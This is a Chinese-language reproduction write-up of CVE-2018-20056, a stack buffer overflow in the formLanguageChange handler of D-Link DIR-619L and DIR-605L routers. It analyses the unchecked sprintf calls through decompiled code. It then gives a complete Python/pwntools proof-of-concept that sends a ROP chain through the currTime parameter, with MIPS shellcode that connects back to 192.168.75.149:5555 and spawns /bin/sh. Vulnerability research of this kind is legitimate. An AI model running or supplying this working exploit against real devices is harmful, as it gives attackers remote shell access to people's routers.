（CVE-2018-20056）D-Link DIR-619L&605L 栈溢出漏洞

一、漏洞简介

D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备，在/bin/boa文件的formLanguage函数中存在缓冲区溢出漏洞，在调用sprintf函数时没有对参数的长度进行检查，导致远程攻击者可以通过访问

http://[ip]/goform/formLanguageChange并指定currTime参数实现远程代码执行。

固件下载地址：ftp://ftp2.dlink.com/PRODUCTS/DIR-619L/REVB/

二、漏洞影响

D-LINK的DIR-619L Rev.B 2.06B1版本之前和DIR-605L Rev.B 2.12B1版本之前的设备。

三、复现过程

漏洞分析

在formLanguageChange函数中，通过websGetVar获取config.i18n_language，nextPage，currTime等参数。websGetVar通过malloc、memcpy将获取到的参数返回给formLanguageChange。formLanguageChange接下来调用了sprintf危险函数向local_f8变量中读入参数内容，并在下一步websRedirect使用了local_f8作为参数。

void formLanguageChange(undefined4 uParm1)
{
  int iVar1;
  char *pcVar2;
  undefined4 uVar3;
  FILE *__stream;
  char *__s1;
  char local_f8 [200];
  char acStack48 [24];
  undefined4 local_18;
  int local_14;

  __s1 = (char *)websGetVar(uParm1,"config.i18n_language",&DAT_004ac874);
  ……
  apmib_set(0x129,&local_18);
  __s1 = (char *)websGetVar(uParm1,"nextPage",&DAT_004ac874);
  if (*__s1 == 0) {
    uVar3 = websGetVar(uParm1,"currTime",&DAT_004ac874);//获取currTime参数
    __s1 = "/index.asp";
  }
  else {
    ……
  }
  sprintf(local_f8,"%s?t=%s",__s1,uVar3);//危险函数sprintf直接读入字符
LAB_00460b34:
  websRedirect(uParm1,local_f8);
  ……
  return;
}

websRedirect主要调用send_r_moved_perm，这个函数调用了两次危险函数sprintf，分别向acStack224(sp+0x19f8-0xe0)和acStack480(sp+0x19f8-0x1e0)中输入字符。

undefined4 websRedirect(int iParm1,char *pcParm2)
{
  char *pcVar1;

  *(undefined4 *)(iParm1 + 0x50) = 0;
  pcVar1 = strstr(pcParm2,"/apply_setting.asp");
  if (pcVar1 != (char *)0x0) {
    apply_setting_redirect = apply_setting_redirect + 1;
  }
  send_r_moved_perm(iParm1,pcParm2);
  return 0;
}

void send_r_moved_perm(int iParm1,char *pcParm2)

{
  undefined4 uVar1;
  char *pcVar2;
  undefined auStack6624 [6144];
  char acStack480 [256];
  char acStack224 [200];

  ……
  if (pcVar2 == (char *)0x0) {
    if (*pcParm2 == '/') {
      pcParm2 = pcParm2 + 1;
    }
    sprintf(acStack224,"http://%s/%s",*(undefined4 *)(iParm1 + 0x70),pcParm2);
    pcParm2 = acStack224;
  }
  sprintf(acStack480,

          "<html><head></head><body>\r\n\t\tThis document has moved to a new <ahref=\"%s\">location</a>.\r\n\t\tPlease update your documents to reflect the newlocation.\r\n\t\t</body></html>\r\n"
          ,pcParm2);
  ……s
  return;
}

通过第二两个sprintf修改返回地址，构造ROP链，导致程序控制流被劫持。（也可以通过两个sprintf的配合来实现栈的迁移，漏洞作者是这么实现的）

漏洞复现

poc

import requests
import sys
import struct
from pwn import *
#context.log_level='debug'
context.arch='mips'
context.endian='big'
ip='192.168.75.150'

def syscmd1(a):
    p=remote(ip,80)
    z=len(a)
    print "[+]len:"+str(z)
    payload=''
    payload+='POST /goform/formLanguageChange HTTP/1.1\r\n'
    payload+='Host: '+ip+'\r\n'
    payload+='Connection: keep-alive\r\n'
    payload+='Accept-Encoding: gzip, deflate\r\n'
    payload+='Accept: */*\r\n'
    payload+='User-Agent: python-requests/2.18.4\r\n'
    payload+='Content-Length: '+str(z+9)+'\r\n'
    payload+='Content-Type: application/x-www-form-urlencoded\r\n'
    payload+='\r\n'
    payload+='currTime='
    payload+=a+'\r\n'
    p.send(payload)
    p.recvuntil('</html>')
    #raw_input()
    p.close()

#base address of libc.so.0
base1=0x2ab88000
###shellcode
sc=struct.pack(">I",0x24060101)
sc+=struct.pack(">I",0x04d0ffff)
sc+=struct.pack(">I",0x2806ffff)
sc+=struct.pack(">I",0x27bdffe0)
sc+=struct.pack(">I",0x27e41001)
sc+=struct.pack(">I",0x2484f023)
sc+=struct.pack(">I",0xafa4ffe8)
sc+=struct.pack(">I",0xafa0ffec)
sc+=struct.pack(">I",0x27a5ffe8)
sc+=struct.pack(">I",0x24020fab)
sc+=struct.pack(">I",0xafa00108)
sc+=struct.pack(">I",0x0101010c)
sc+="/bin//sh\x00"

shellcode =''
shellcode += asm(shellcraft.connect('192.168.75.149',5555))
shellcode += asm(shellcraft.dup2(5,0))
shellcode += asm(shellcraft.dup2(5,1))
shellcode += sc

s0=struct.pack(">I",base1+0x2C794)
s1=struct.pack(">I",base1+0x2C794)### rop2:move $t9,$s2;...;jr $t9 
s2=struct.pack(">I",base1+0x24b70)### rop3:sleep(1)
s3=struct.pack(">I",base1+0x2bdac)### rop5:addiu $a0,$sp,0x18;...;lw $ra,0x30;jr $ra
s4=struct.pack(">I",base1+0x2bdac)
###rop
payload1='a'*0x167+s0+s1+s2+s3
payload1+=struct.pack(">I",base1+0x25714)  ###rop1: li $a0,1;move $t9,$s1;jalr $t9;ori $a1,$s0,2
payload1+='b'*0x1c+s0+s1+s2+s3+s4
payload1+=struct.pack(">I",base1+0x5f98)  ###rop4:lw $ra,0x1c($sp);...;jr $ra
payload1+='c'*0x1c
payload1+=s3
payload1+='d'*0x18
payload1+=struct.pack(">I",0x24910101) ###rop7 addiu $s1,$a0,257;addi $s1,$s1,-257;move $t9,$s1;jalr $t9
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x0220c821)
payload1+=struct.pack(">I",0x0320f809)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",0x2231feff)
payload1+=struct.pack(">I",base1+0x2bda0) ###rop6:mov $t9,$a0;...;jalr $t9
payload1+='e'*0x20+shellcode
if __name__ == "__main__":
    syscmd1(payload1)

利用效果:

image

image"